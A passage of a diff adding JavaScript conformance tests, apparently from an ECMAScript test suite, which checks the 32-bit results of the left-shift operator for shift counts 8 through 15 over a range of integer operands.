+ $ERROR('#285: 268435455 << 8 === -256. Actual: ' + (268435455 << 8));
+}
+
+
+if (536870911 << 8 !== -256) {
+ $ERROR('#286: 536870911 << 8 === -256. Actual: ' + (536870911 << 8));
+}
+
+
+if (1073741823 << 8 !== -256) {
+ $ERROR('#287: 1073741823 << 8 === -256. Actual: ' + (1073741823 << 8));
+}
+
+
+if (2147483647 << 8 !== -256) {
+ $ERROR('#288: 2147483647 << 8 === -256. Actual: ' + (2147483647 << 8));
+}
+
+
+if (0 << 9 !== 0) {
+ $ERROR('#289: 0 << 9 === 0. Actual: ' + (0 << 9));
+}
+
+
+if (1 << 9 !== 512) {
+ $ERROR('#290: 1 << 9 === 512. Actual: ' + (1 << 9));
+}
+
+
+if (3 << 9 !== 1536) {
+ $ERROR('#291: 3 << 9 === 1536. Actual: ' + (3 << 9));
+}
+
+
+if (7 << 9 !== 3584) {
+ $ERROR('#292: 7 << 9 === 3584. Actual: ' + (7 << 9));
+}
+
+
+if (15 << 9 !== 7680) {
+ $ERROR('#293: 15 << 9 === 7680. Actual: ' + (15 << 9));
+}
+
+
+if (31 << 9 !== 15872) {
+ $ERROR('#294: 31 << 9 === 15872. Actual: ' + (31 << 9));
+}
+
+
+if (63 << 9 !== 32256) {
+ $ERROR('#295: 63 << 9 === 32256. Actual: ' + (63 << 9));
+}
+
+
+if (127 << 9 !== 65024) {
+ $ERROR('#296: 127 << 9 === 65024. Actual: ' + (127 << 9));
+}
+
+
+if (255 << 9 !== 130560) {
+ $ERROR('#297: 255 << 9 === 130560. Actual: ' + (255 << 9));
+}
+
+
+if (511 << 9 !== 261632) {
+ $ERROR('#298: 511 << 9 === 261632. Actual: ' + (511 << 9));
+}
+
+
+if (1023 << 9 !== 523776) {
+ $ERROR('#299: 1023 << 9 === 523776. Actual: ' + (1023 << 9));
+}
+
+
+if (2047 << 9 !== 1048064) {
+ $ERROR('#300: 2047 << 9 === 1048064. Actual: ' + (2047 << 9));
+}
+
+
+if (4095 << 9 !== 2096640) {
+ $ERROR('#301: 4095 << 9 === 2096640. Actual: ' + (4095 << 9));
+}
+
+
+if (8191 << 9 !== 4193792) {
+ $ERROR('#302: 8191 << 9 === 4193792. Actual: ' + (8191 << 9));
+}
+
+
+if (16383 << 9 !== 8388096) {
+ $ERROR('#303: 16383 << 9 === 8388096. Actual: ' + (16383 << 9));
+}
+
+
+if (32767 << 9 !== 16776704) {
+ $ERROR('#304: 32767 << 9 === 16776704. Actual: ' + (32767 << 9));
+}
+
+
+if (65535 << 9 !== 33553920) {
+ $ERROR('#305: 65535 << 9 === 33553920. Actual: ' + (65535 << 9));
+}
+
+
+if (131071 << 9 !== 67108352) {
+ $ERROR('#306: 131071 << 9 === 67108352. Actual: ' + (131071 << 9));
+}
+
+
+if (262143 << 9 !== 134217216) {
+ $ERROR('#307: 262143 << 9 === 134217216. Actual: ' + (262143 << 9));
+}
+
+
+if (524287 << 9 !== 268434944) {
+ $ERROR('#308: 524287 << 9 === 268434944. Actual: ' + (524287 << 9));
+}
+
+
+if (1048575 << 9 !== 536870400) {
+ $ERROR('#309: 1048575 << 9 === 536870400. Actual: ' + (1048575 << 9));
+}
+
+
+if (2097151 << 9 !== 1073741312) {
+ $ERROR('#310: 2097151 << 9 === 1073741312. Actual: ' + (2097151 << 9));
+}
+
+
+if (4194303 << 9 !== 2147483136) {
+ $ERROR('#311: 4194303 << 9 === 2147483136. Actual: ' + (4194303 << 9));
+}
+
+
+if (8388607 << 9 !== -512) {
+ $ERROR('#312: 8388607 << 9 === -512. Actual: ' + (8388607 << 9));
+}
+
+
+if (16777215 << 9 !== -512) {
+ $ERROR('#313: 16777215 << 9 === -512. Actual: ' + (16777215 << 9));
+}
+
+
+if (33554431 << 9 !== -512) {
+ $ERROR('#314: 33554431 << 9 === -512. Actual: ' + (33554431 << 9));
+}
+
+
+if (67108863 << 9 !== -512) {
+ $ERROR('#315: 67108863 << 9 === -512. Actual: ' + (67108863 << 9));
+}
+
+
+if (134217727 << 9 !== -512) {
+ $ERROR('#316: 134217727 << 9 === -512. Actual: ' + (134217727 << 9));
+}
+
+
+if (268435455 << 9 !== -512) {
+ $ERROR('#317: 268435455 << 9 === -512. Actual: ' + (268435455 << 9));
+}
+
+
+if (536870911 << 9 !== -512) {
+ $ERROR('#318: 536870911 << 9 === -512. Actual: ' + (536870911 << 9));
+}
+
+
+if (1073741823 << 9 !== -512) {
+ $ERROR('#319: 1073741823 << 9 === -512. Actual: ' + (1073741823 << 9));
+}
+
+
+if (2147483647 << 9 !== -512) {
+ $ERROR('#320: 2147483647 << 9 === -512. Actual: ' + (2147483647 << 9));
+}
+
+
+if (0 << 10 !== 0) {
+ $ERROR('#321: 0 << 10 === 0. Actual: ' + (0 << 10));
+}
+
+
+if (1 << 10 !== 1024) {
+ $ERROR('#322: 1 << 10 === 1024. Actual: ' + (1 << 10));
+}
+
+
+if (3 << 10 !== 3072) {
+ $ERROR('#323: 3 << 10 === 3072. Actual: ' + (3 << 10));
+}
+
+
+if (7 << 10 !== 7168) {
+ $ERROR('#324: 7 << 10 === 7168. Actual: ' + (7 << 10));
+}
+
+
+if (15 << 10 !== 15360) {
+ $ERROR('#325: 15 << 10 === 15360. Actual: ' + (15 << 10));
+}
+
+
+if (31 << 10 !== 31744) {
+ $ERROR('#326: 31 << 10 === 31744. Actual: ' + (31 << 10));
+}
+
+
+if (63 << 10 !== 64512) {
+ $ERROR('#327: 63 << 10 === 64512. Actual: ' + (63 << 10));
+}
+
+
+if (127 << 10 !== 130048) {
+ $ERROR('#328: 127 << 10 === 130048. Actual: ' + (127 << 10));
+}
+
+
+if (255 << 10 !== 261120) {
+ $ERROR('#329: 255 << 10 === 261120. Actual: ' + (255 << 10));
+}
+
+
+if (511 << 10 !== 523264) {
+ $ERROR('#330: 511 << 10 === 523264. Actual: ' + (511 << 10));
+}
+
+
+if (1023 << 10 !== 1047552) {
+ $ERROR('#331: 1023 << 10 === 1047552. Actual: ' + (1023 << 10));
+}
+
+
+if (2047 << 10 !== 2096128) {
+ $ERROR('#332: 2047 << 10 === 2096128. Actual: ' + (2047 << 10));
+}
+
+
+if (4095 << 10 !== 4193280) {
+ $ERROR('#333: 4095 << 10 === 4193280. Actual: ' + (4095 << 10));
+}
+
+
+if (8191 << 10 !== 8387584) {
+ $ERROR('#334: 8191 << 10 === 8387584. Actual: ' + (8191 << 10));
+}
+
+
+if (16383 << 10 !== 16776192) {
+ $ERROR('#335: 16383 << 10 === 16776192. Actual: ' + (16383 << 10));
+}
+
+
+if (32767 << 10 !== 33553408) {
+ $ERROR('#336: 32767 << 10 === 33553408. Actual: ' + (32767 << 10));
+}
+
+
+if (65535 << 10 !== 67107840) {
+ $ERROR('#337: 65535 << 10 === 67107840. Actual: ' + (65535 << 10));
+}
+
+
+if (131071 << 10 !== 134216704) {
+ $ERROR('#338: 131071 << 10 === 134216704. Actual: ' + (131071 << 10));
+}
+
+
+if (262143 << 10 !== 268434432) {
+ $ERROR('#339: 262143 << 10 === 268434432. Actual: ' + (262143 << 10));
+}
+
+
+if (524287 << 10 !== 536869888) {
+ $ERROR('#340: 524287 << 10 === 536869888. Actual: ' + (524287 << 10));
+}
+
+
+if (1048575 << 10 !== 1073740800) {
+ $ERROR('#341: 1048575 << 10 === 1073740800. Actual: ' + (1048575 << 10));
+}
+
+
+if (2097151 << 10 !== 2147482624) {
+ $ERROR('#342: 2097151 << 10 === 2147482624. Actual: ' + (2097151 << 10));
+}
+
+
+if (4194303 << 10 !== -1024) {
+ $ERROR('#343: 4194303 << 10 === -1024. Actual: ' + (4194303 << 10));
+}
+
+
+if (8388607 << 10 !== -1024) {
+ $ERROR('#344: 8388607 << 10 === -1024. Actual: ' + (8388607 << 10));
+}
+
+
+if (16777215 << 10 !== -1024) {
+ $ERROR('#345: 16777215 << 10 === -1024. Actual: ' + (16777215 << 10));
+}
+
+
+if (33554431 << 10 !== -1024) {
+ $ERROR('#346: 33554431 << 10 === -1024. Actual: ' + (33554431 << 10));
+}
+
+
+if (67108863 << 10 !== -1024) {
+ $ERROR('#347: 67108863 << 10 === -1024. Actual: ' + (67108863 << 10));
+}
+
+
+if (134217727 << 10 !== -1024) {
+ $ERROR('#348: 134217727 << 10 === -1024. Actual: ' + (134217727 << 10));
+}
+
+
+if (268435455 << 10 !== -1024) {
+ $ERROR('#349: 268435455 << 10 === -1024. Actual: ' + (268435455 << 10));
+}
+
+
+if (536870911 << 10 !== -1024) {
+ $ERROR('#350: 536870911 << 10 === -1024. Actual: ' + (536870911 << 10));
+}
+
+
+if (1073741823 << 10 !== -1024) {
+ $ERROR('#351: 1073741823 << 10 === -1024. Actual: ' + (1073741823 << 10));
+}
+
+
+if (2147483647 << 10 !== -1024) {
+ $ERROR('#352: 2147483647 << 10 === -1024. Actual: ' + (2147483647 << 10));
+}
+
+
+if (0 << 11 !== 0) {
+ $ERROR('#353: 0 << 11 === 0. Actual: ' + (0 << 11));
+}
+
+
+if (1 << 11 !== 2048) {
+ $ERROR('#354: 1 << 11 === 2048. Actual: ' + (1 << 11));
+}
+
+
+if (3 << 11 !== 6144) {
+ $ERROR('#355: 3 << 11 === 6144. Actual: ' + (3 << 11));
+}
+
+
+if (7 << 11 !== 14336) {
+ $ERROR('#356: 7 << 11 === 14336. Actual: ' + (7 << 11));
+}
+
+
+if (15 << 11 !== 30720) {
+ $ERROR('#357: 15 << 11 === 30720. Actual: ' + (15 << 11));
+}
+
+
+if (31 << 11 !== 63488) {
+ $ERROR('#358: 31 << 11 === 63488. Actual: ' + (31 << 11));
+}
+
+
+if (63 << 11 !== 129024) {
+ $ERROR('#359: 63 << 11 === 129024. Actual: ' + (63 << 11));
+}
+
+
+if (127 << 11 !== 260096) {
+ $ERROR('#360: 127 << 11 === 260096. Actual: ' + (127 << 11));
+}
+
+
+if (255 << 11 !== 522240) {
+ $ERROR('#361: 255 << 11 === 522240. Actual: ' + (255 << 11));
+}
+
+
+if (511 << 11 !== 1046528) {
+ $ERROR('#362: 511 << 11 === 1046528. Actual: ' + (511 << 11));
+}
+
+
+if (1023 << 11 !== 2095104) {
+ $ERROR('#363: 1023 << 11 === 2095104. Actual: ' + (1023 << 11));
+}
+
+
+if (2047 << 11 !== 4192256) {
+ $ERROR('#364: 2047 << 11 === 4192256. Actual: ' + (2047 << 11));
+}
+
+
+if (4095 << 11 !== 8386560) {
+ $ERROR('#365: 4095 << 11 === 8386560. Actual: ' + (4095 << 11));
+}
+
+
+if (8191 << 11 !== 16775168) {
+ $ERROR('#366: 8191 << 11 === 16775168. Actual: ' + (8191 << 11));
+}
+
+
+if (16383 << 11 !== 33552384) {
+ $ERROR('#367: 16383 << 11 === 33552384. Actual: ' + (16383 << 11));
+}
+
+
+if (32767 << 11 !== 67106816) {
+ $ERROR('#368: 32767 << 11 === 67106816. Actual: ' + (32767 << 11));
+}
+
+
+if (65535 << 11 !== 134215680) {
+ $ERROR('#369: 65535 << 11 === 134215680. Actual: ' + (65535 << 11));
+}
+
+
+if (131071 << 11 !== 268433408) {
+ $ERROR('#370: 131071 << 11 === 268433408. Actual: ' + (131071 << 11));
+}
+
+
+if (262143 << 11 !== 536868864) {
+ $ERROR('#371: 262143 << 11 === 536868864. Actual: ' + (262143 << 11));
+}
+
+
+if (524287 << 11 !== 1073739776) {
+ $ERROR('#372: 524287 << 11 === 1073739776. Actual: ' + (524287 << 11));
+}
+
+
+if (1048575 << 11 !== 2147481600) {
+ $ERROR('#373: 1048575 << 11 === 2147481600. Actual: ' + (1048575 << 11));
+}
+
+
+if (2097151 << 11 !== -2048) {
+ $ERROR('#374: 2097151 << 11 === -2048. Actual: ' + (2097151 << 11));
+}
+
+
+if (4194303 << 11 !== -2048) {
+ $ERROR('#375: 4194303 << 11 === -2048. Actual: ' + (4194303 << 11));
+}
+
+
+if (8388607 << 11 !== -2048) {
+ $ERROR('#376: 8388607 << 11 === -2048. Actual: ' + (8388607 << 11));
+}
+
+
+if (16777215 << 11 !== -2048) {
+ $ERROR('#377: 16777215 << 11 === -2048. Actual: ' + (16777215 << 11));
+}
+
+
+if (33554431 << 11 !== -2048) {
+ $ERROR('#378: 33554431 << 11 === -2048. Actual: ' + (33554431 << 11));
+}
+
+
+if (67108863 << 11 !== -2048) {
+ $ERROR('#379: 67108863 << 11 === -2048. Actual: ' + (67108863 << 11));
+}
+
+
+if (134217727 << 11 !== -2048) {
+ $ERROR('#380: 134217727 << 11 === -2048. Actual: ' + (134217727 << 11));
+}
+
+
+if (268435455 << 11 !== -2048) {
+ $ERROR('#381: 268435455 << 11 === -2048. Actual: ' + (268435455 << 11));
+}
+
+
+if (536870911 << 11 !== -2048) {
+ $ERROR('#382: 536870911 << 11 === -2048. Actual: ' + (536870911 << 11));
+}
+
+
+if (1073741823 << 11 !== -2048) {
+ $ERROR('#383: 1073741823 << 11 === -2048. Actual: ' + (1073741823 << 11));
+}
+
+
+if (2147483647 << 11 !== -2048) {
+ $ERROR('#384: 2147483647 << 11 === -2048. Actual: ' + (2147483647 << 11));
+}
+
+
+if (0 << 12 !== 0) {
+ $ERROR('#385: 0 << 12 === 0. Actual: ' + (0 << 12));
+}
+
+
+if (1 << 12 !== 4096) {
+ $ERROR('#386: 1 << 12 === 4096. Actual: ' + (1 << 12));
+}
+
+
+if (3 << 12 !== 12288) {
+ $ERROR('#387: 3 << 12 === 12288. Actual: ' + (3 << 12));
+}
+
+
+if (7 << 12 !== 28672) {
+ $ERROR('#388: 7 << 12 === 28672. Actual: ' + (7 << 12));
+}
+
+
+if (15 << 12 !== 61440) {
+ $ERROR('#389: 15 << 12 === 61440. Actual: ' + (15 << 12));
+}
+
+
+if (31 << 12 !== 126976) {
+ $ERROR('#390: 31 << 12 === 126976. Actual: ' + (31 << 12));
+}
+
+
+if (63 << 12 !== 258048) {
+ $ERROR('#391: 63 << 12 === 258048. Actual: ' + (63 << 12));
+}
+
+
+if (127 << 12 !== 520192) {
+ $ERROR('#392: 127 << 12 === 520192. Actual: ' + (127 << 12));
+}
+
+
+if (255 << 12 !== 1044480) {
+ $ERROR('#393: 255 << 12 === 1044480. Actual: ' + (255 << 12));
+}
+
+
+if (511 << 12 !== 2093056) {
+ $ERROR('#394: 511 << 12 === 2093056. Actual: ' + (511 << 12));
+}
+
+
+if (1023 << 12 !== 4190208) {
+ $ERROR('#395: 1023 << 12 === 4190208. Actual: ' + (1023 << 12));
+}
+
+
+if (2047 << 12 !== 8384512) {
+ $ERROR('#396: 2047 << 12 === 8384512. Actual: ' + (2047 << 12));
+}
+
+
+if (4095 << 12 !== 16773120) {
+ $ERROR('#397: 4095 << 12 === 16773120. Actual: ' + (4095 << 12));
+}
+
+
+if (8191 << 12 !== 33550336) {
+ $ERROR('#398: 8191 << 12 === 33550336. Actual: ' + (8191 << 12));
+}
+
+
+if (16383 << 12 !== 67104768) {
+ $ERROR('#399: 16383 << 12 === 67104768. Actual: ' + (16383 << 12));
+}
+
+
+if (32767 << 12 !== 134213632) {
+ $ERROR('#400: 32767 << 12 === 134213632. Actual: ' + (32767 << 12));
+}
+
+
+if (65535 << 12 !== 268431360) {
+ $ERROR('#401: 65535 << 12 === 268431360. Actual: ' + (65535 << 12));
+}
+
+
+if (131071 << 12 !== 536866816) {
+ $ERROR('#402: 131071 << 12 === 536866816. Actual: ' + (131071 << 12));
+}
+
+
+if (262143 << 12 !== 1073737728) {
+ $ERROR('#403: 262143 << 12 === 1073737728. Actual: ' + (262143 << 12));
+}
+
+
+if (524287 << 12 !== 2147479552) {
+ $ERROR('#404: 524287 << 12 === 2147479552. Actual: ' + (524287 << 12));
+}
+
+
+if (1048575 << 12 !== -4096) {
+ $ERROR('#405: 1048575 << 12 === -4096. Actual: ' + (1048575 << 12));
+}
+
+
+if (2097151 << 12 !== -4096) {
+ $ERROR('#406: 2097151 << 12 === -4096. Actual: ' + (2097151 << 12));
+}
+
+
+if (4194303 << 12 !== -4096) {
+ $ERROR('#407: 4194303 << 12 === -4096. Actual: ' + (4194303 << 12));
+}
+
+
+if (8388607 << 12 !== -4096) {
+ $ERROR('#408: 8388607 << 12 === -4096. Actual: ' + (8388607 << 12));
+}
+
+
+if (16777215 << 12 !== -4096) {
+ $ERROR('#409: 16777215 << 12 === -4096. Actual: ' + (16777215 << 12));
+}
+
+
+if (33554431 << 12 !== -4096) {
+ $ERROR('#410: 33554431 << 12 === -4096. Actual: ' + (33554431 << 12));
+}
+
+
+if (67108863 << 12 !== -4096) {
+ $ERROR('#411: 67108863 << 12 === -4096. Actual: ' + (67108863 << 12));
+}
+
+
+if (134217727 << 12 !== -4096) {
+ $ERROR('#412: 134217727 << 12 === -4096. Actual: ' + (134217727 << 12));
+}
+
+
+if (268435455 << 12 !== -4096) {
+ $ERROR('#413: 268435455 << 12 === -4096. Actual: ' + (268435455 << 12));
+}
+
+
+if (536870911 << 12 !== -4096) {
+ $ERROR('#414: 536870911 << 12 === -4096. Actual: ' + (536870911 << 12));
+}
+
+
+if (1073741823 << 12 !== -4096) {
+ $ERROR('#415: 1073741823 << 12 === -4096. Actual: ' + (1073741823 << 12));
+}
+
+
+if (2147483647 << 12 !== -4096) {
+ $ERROR('#416: 2147483647 << 12 === -4096. Actual: ' + (2147483647 << 12));
+}
+
+
+if (0 << 13 !== 0) {
+ $ERROR('#417: 0 << 13 === 0. Actual: ' + (0 << 13));
+}
+
+
+if (1 << 13 !== 8192) {
+ $ERROR('#418: 1 << 13 === 8192. Actual: ' + (1 << 13));
+}
+
+
+if (3 << 13 !== 24576) {
+ $ERROR('#419: 3 << 13 === 24576. Actual: ' + (3 << 13));
+}
+
+
+if (7 << 13 !== 57344) {
+ $ERROR('#420: 7 << 13 === 57344. Actual: ' + (7 << 13));
+}
+
+
+if (15 << 13 !== 122880) {
+ $ERROR('#421: 15 << 13 === 122880. Actual: ' + (15 << 13));
+}
+
+
+if (31 << 13 !== 253952) {
+ $ERROR('#422: 31 << 13 === 253952. Actual: ' + (31 << 13));
+}
+
+
+if (63 << 13 !== 516096) {
+ $ERROR('#423: 63 << 13 === 516096. Actual: ' + (63 << 13));
+}
+
+
+if (127 << 13 !== 1040384) {
+ $ERROR('#424: 127 << 13 === 1040384. Actual: ' + (127 << 13));
+}
+
+
+if (255 << 13 !== 2088960) {
+ $ERROR('#425: 255 << 13 === 2088960. Actual: ' + (255 << 13));
+}
+
+
+if (511 << 13 !== 4186112) {
+ $ERROR('#426: 511 << 13 === 4186112. Actual: ' + (511 << 13));
+}
+
+
+if (1023 << 13 !== 8380416) {
+ $ERROR('#427: 1023 << 13 === 8380416. Actual: ' + (1023 << 13));
+}
+
+
+if (2047 << 13 !== 16769024) {
+ $ERROR('#428: 2047 << 13 === 16769024. Actual: ' + (2047 << 13));
+}
+
+
+if (4095 << 13 !== 33546240) {
+ $ERROR('#429: 4095 << 13 === 33546240. Actual: ' + (4095 << 13));
+}
+
+
+if (8191 << 13 !== 67100672) {
+ $ERROR('#430: 8191 << 13 === 67100672. Actual: ' + (8191 << 13));
+}
+
+
+if (16383 << 13 !== 134209536) {
+ $ERROR('#431: 16383 << 13 === 134209536. Actual: ' + (16383 << 13));
+}
+
+
+if (32767 << 13 !== 268427264) {
+ $ERROR('#432: 32767 << 13 === 268427264. Actual: ' + (32767 << 13));
+}
+
+
+if (65535 << 13 !== 536862720) {
+ $ERROR('#433: 65535 << 13 === 536862720. Actual: ' + (65535 << 13));
+}
+
+
+if (131071 << 13 !== 1073733632) {
+ $ERROR('#434: 131071 << 13 === 1073733632. Actual: ' + (131071 << 13));
+}
+
+
+if (262143 << 13 !== 2147475456) {
+ $ERROR('#435: 262143 << 13 === 2147475456. Actual: ' + (262143 << 13));
+}
+
+
+if (524287 << 13 !== -8192) {
+ $ERROR('#436: 524287 << 13 === -8192. Actual: ' + (524287 << 13));
+}
+
+
+if (1048575 << 13 !== -8192) {
+ $ERROR('#437: 1048575 << 13 === -8192. Actual: ' + (1048575 << 13));
+}
+
+
+if (2097151 << 13 !== -8192) {
+ $ERROR('#438: 2097151 << 13 === -8192. Actual: ' + (2097151 << 13));
+}
+
+
+if (4194303 << 13 !== -8192) {
+ $ERROR('#439: 4194303 << 13 === -8192. Actual: ' + (4194303 << 13));
+}
+
+
+if (8388607 << 13 !== -8192) {
+ $ERROR('#440: 8388607 << 13 === -8192. Actual: ' + (8388607 << 13));
+}
+
+
+if (16777215 << 13 !== -8192) {
+ $ERROR('#441: 16777215 << 13 === -8192. Actual: ' + (16777215 << 13));
+}
+
+
+if (33554431 << 13 !== -8192) {
+ $ERROR('#442: 33554431 << 13 === -8192. Actual: ' + (33554431 << 13));
+}
+
+
+if (67108863 << 13 !== -8192) {
+ $ERROR('#443: 67108863 << 13 === -8192. Actual: ' + (67108863 << 13));
+}
+
+
+if (134217727 << 13 !== -8192) {
+ $ERROR('#444: 134217727 << 13 === -8192. Actual: ' + (134217727 << 13));
+}
+
+
+if (268435455 << 13 !== -8192) {
+ $ERROR('#445: 268435455 << 13 === -8192. Actual: ' + (268435455 << 13));
+}
+
+
+if (536870911 << 13 !== -8192) {
+ $ERROR('#446: 536870911 << 13 === -8192. Actual: ' + (536870911 << 13));
+}
+
+
+if (1073741823 << 13 !== -8192) {
+ $ERROR('#447: 1073741823 << 13 === -8192. Actual: ' + (1073741823 << 13));
+}
+
+
+if (2147483647 << 13 !== -8192) {
+ $ERROR('#448: 2147483647 << 13 === -8192. Actual: ' + (2147483647 << 13));
+}
+
+
+if (0 << 14 !== 0) {
+ $ERROR('#449: 0 << 14 === 0. Actual: ' + (0 << 14));
+}
+
+
+if (1 << 14 !== 16384) {
+ $ERROR('#450: 1 << 14 === 16384. Actual: ' + (1 << 14));
+}
+
+
+if (3 << 14 !== 49152) {
+ $ERROR('#451: 3 << 14 === 49152. Actual: ' + (3 << 14));
+}
+
+
+if (7 << 14 !== 114688) {
+ $ERROR('#452: 7 << 14 === 114688. Actual: ' + (7 << 14));
+}
+
+
+if (15 << 14 !== 245760) {
+ $ERROR('#453: 15 << 14 === 245760. Actual: ' + (15 << 14));
+}
+
+
+if (31 << 14 !== 507904) {
+ $ERROR('#454: 31 << 14 === 507904. Actual: ' + (31 << 14));
+}
+
+
+if (63 << 14 !== 1032192) {
+ $ERROR('#455: 63 << 14 === 1032192. Actual: ' + (63 << 14));
+}
+
+
+if (127 << 14 !== 2080768) {
+ $ERROR('#456: 127 << 14 === 2080768. Actual: ' + (127 << 14));
+}
+
+
+if (255 << 14 !== 4177920) {
+ $ERROR('#457: 255 << 14 === 4177920. Actual: ' + (255 << 14));
+}
+
+
+if (511 << 14 !== 8372224) {
+ $ERROR('#458: 511 << 14 === 8372224. Actual: ' + (511 << 14));
+}
+
+
+if (1023 << 14 !== 16760832) {
+ $ERROR('#459: 1023 << 14 === 16760832. Actual: ' + (1023 << 14));
+}
+
+
+if (2047 << 14 !== 33538048) {
+ $ERROR('#460: 2047 << 14 === 33538048. Actual: ' + (2047 << 14));
+}
+
+
+if (4095 << 14 !== 67092480) {
+ $ERROR('#461: 4095 << 14 === 67092480. Actual: ' + (4095 << 14));
+}
+
+
+if (8191 << 14 !== 134201344) {
+ $ERROR('#462: 8191 << 14 === 134201344. Actual: ' + (8191 << 14));
+}
+
+
+if (16383 << 14 !== 268419072) {
+ $ERROR('#463: 16383 << 14 === 268419072. Actual: ' + (16383 << 14));
+}
+
+
+if (32767 << 14 !== 536854528) {
+ $ERROR('#464: 32767 << 14 === 536854528. Actual: ' + (32767 << 14));
+}
+
+
+if (65535 << 14 !== 1073725440) {
+ $ERROR('#465: 65535 << 14 === 1073725440. Actual: ' + (65535 << 14));
+}
+
+
+if (131071 << 14 !== 2147467264) {
+ $ERROR('#466: 131071 << 14 === 2147467264. Actual: ' + (131071 << 14));
+}
+
+
+if (262143 << 14 !== -16384) {
+ $ERROR('#467: 262143 << 14 === -16384. Actual: ' + (262143 << 14));
+}
+
+
+if (524287 << 14 !== -16384) {
+ $ERROR('#468: 524287 << 14 === -16384. Actual: ' + (524287 << 14));
+}
+
+
+if (1048575 << 14 !== -16384) {
+ $ERROR('#469: 1048575 << 14 === -16384. Actual: ' + (1048575 << 14));
+}
+
+
+if (2097151 << 14 !== -16384) {
+ $ERROR('#470: 2097151 << 14 === -16384. Actual: ' + (2097151 << 14));
+}
+
+
+if (4194303 << 14 !== -16384) {
+ $ERROR('#471: 4194303 << 14 === -16384. Actual: ' + (4194303 << 14));
+}
+
+
+if (8388607 << 14 !== -16384) {
+ $ERROR('#472: 8388607 << 14 === -16384. Actual: ' + (8388607 << 14));
+}
+
+
+if (16777215 << 14 !== -16384) {
+ $ERROR('#473: 16777215 << 14 === -16384. Actual: ' + (16777215 << 14));
+}
+
+
+if (33554431 << 14 !== -16384) {
+ $ERROR('#474: 33554431 << 14 === -16384. Actual: ' + (33554431 << 14));
+}
+
+
+if (67108863 << 14 !== -16384) {
+ $ERROR('#475: 67108863 << 14 === -16384. Actual: ' + (67108863 << 14));
+}
+
+
+if (134217727 << 14 !== -16384) {
+ $ERROR('#476: 134217727 << 14 === -16384. Actual: ' + (134217727 << 14));
+}
+
+
+if (268435455 << 14 !== -16384) {
+ $ERROR('#477: 268435455 << 14 === -16384. Actual: ' + (268435455 << 14));
+}
+
+
+if (536870911 << 14 !== -16384) {
+ $ERROR('#478: 536870911 << 14 === -16384. Actual: ' + (536870911 << 14));
+}
+
+
+if (1073741823 << 14 !== -16384) {
+ $ERROR('#479: 1073741823 << 14 === -16384. Actual: ' + (1073741823 << 14));
+}
+
+
+if (2147483647 << 14 !== -16384) {
+ $ERROR('#480: 2147483647 << 14 === -16384. Actual: ' + (2147483647 << 14));
+}
+
+
+if (0 << 15 !== 0) {
+ $ERROR('#481: 0 << 15 === 0. Actual: ' + (0 << 15));
+}
+
+
+if (1 << 15 !== 32768) {
+ $ERROR('#482: 1 << 15 === 32768. Actual: ' + (1 << 15));
+}
+
+
+if (3 << 15 !== 98304) {
+ $ERROR('#483: 3 << 15 === 98304. Actual: ' + (3 << 15));
+}
+
+
+if (7 << 15 !== 229376) {
+ $ERROR('#484: 7 << 15 === 229376. Actual: ' + (7 << 15));
+}
+
+
+if (15 << 15 !== 491520) {
+ $ERROR('#485: 15 << 15 === 491520. Actual: ' + (15 << 15));
+}
+
+
+if (31 << 15 !== 1015808) {
+ $ERROR('#486: 31 << 15 === 1015808. Actual: ' + (31 << 15));
+}
+
+
+if (63 << 15 !== 2064384) {
+ $ERROR('#487: 63 << 15 === 2064384. Actual: ' + (63 << 15));
+}
+
+
+if (127 << 15 !== 4161536) {
+ $ERROR('#488: 127 << 15 === 4161536. Actual: ' + (127 << 15));
+}
+
+
+if (255 << 15 !== 8355840) {
+ $ERROR('#489: 255 << 15 === 8355840. Actual: ' + (255 << 15));
+}
+
+
+if (511 << 15 !== 16744448) {
+ $ERROR('#490: 511 << 15 === 16744448. Actual: ' + (511 << 15));
+}
+
+
+if (1023 << 15 !== 33521664) {
+ $ERROR('#491: 1023 << 15 === 33521664. Actual: ' + (1023 << 15));
+}
+
+
+if (2047 << 15 !== 67076096) {
+ $ERROR('#492: 2047 << 15 === 67076096. Actual: ' + (2047 << 15));
+}
+
+
+if (4095 << 15 !== 134184960) {
+ $ERROR('#493: 4095 << 15 === 134184960. Actual: ' + (4095 << 15));
+}
+
+
+if (8191 << 15 !== 268402688) {
+ $ERROR('#494: 8191 << 15 === 268402688. Actual: ' + (8191 << 15));
+}
+
+
+if (16383 << 15 !== 536838144) {
+ $ERROR('#495: 16383 << 15 === 536838144. Actual: ' + (16383 << 15));
+}
+
+
+if (32767 << 15 !== 1073709056) {
+ $ERROR('#496: 32767 << 15 === 1073709056. Actual: ' + (32767 << 15));
+}
+
+
+if (65535 << 15 !== 2147450880) {
+ $ERROR('#497: 65535 << 15 === 2147450880. Actual: ' + (65535 << 15));
+}
+
+
+if (131071 << 15 !== -32768) {
+ $ERROR('#498: 131071 << 15 === -32768. Actual: ' + (131071 << 15));
+}
+
+
+if (262143 << 15 !== -32768) {
+ $ERROR('#499: 262143 << 15 === -32768. Actual: ' + (262143 << 15));
+}
+
+
+if (524287 << 15 !== -32768) {
+ $ERROR('#500: 524287 << 15 === -32768. Actual: ' + (524287 << 15));
+}
+
+
+if (1048575 << 15 !== -32768) {
+ $ERROR('#501: 1048575 << 15 === -32768. Actual: ' + (1048575 << 15));
+}
+
+
+if (2097151 << 15 !== -32768) {
+ $ERROR('#502: 2097151 << 15 === -32768. Actual: ' + (2097151 << 15));
+}
+
+
+if (4194303 << 15 !== -32768) {
+ $ERROR('#503: 4194303 << 15 === -32768. Actual: ' + (4194303 << 15));
+}
+
+
+if (8388607 << 15 !== -32768) {
+ $ERROR('#504: 8388607 << 15 === -32768. Actual: ' + (8388607 << 15));
+}
+
+
+if (16777215 << 15 !== -32768) {
+ $ERROR('#505: 16777215 << 15 === -32768. Actual: ' + (16777215 << 15));
+}
+
+
+if (33554431 << 15 !== -32768) {
+ $ERROR('#506: 33554431 << 15 === -32768. Actual: ' + (33554431 << 15));
+}
+
+
+if (67108863 << 15 !== -32768) {
+ $ERROR('#507: 67108863 << 15 === -32768. Actual: ' + (67108863 << 15));
+}
+
+
+if (134217727 << 15 !== -32768) {
+ $ERROR('#508: 134217727 << 15 === -32768. Actual: ' + (134217727 << 15));
+}
+
+
+if (268435455 << 15 !== -32768) {
+ $ERROR('#509: 268435455 << 15 === -32768. Actual: ' + (268435455 << 15));
+}
+
+
+if (536870911 << 15 !== -32768) {
+ $ERROR('#510: 536870911 << 15 === -32768. Actual: ' + (536870911 << 15));
+}
+
+
+if (1073741823 << 15 !== -32768) {
+ $ERROR('#511: 1073741823 << 15 === -32768. Actual: ' + (1073741823 << 15));
+}
+
+
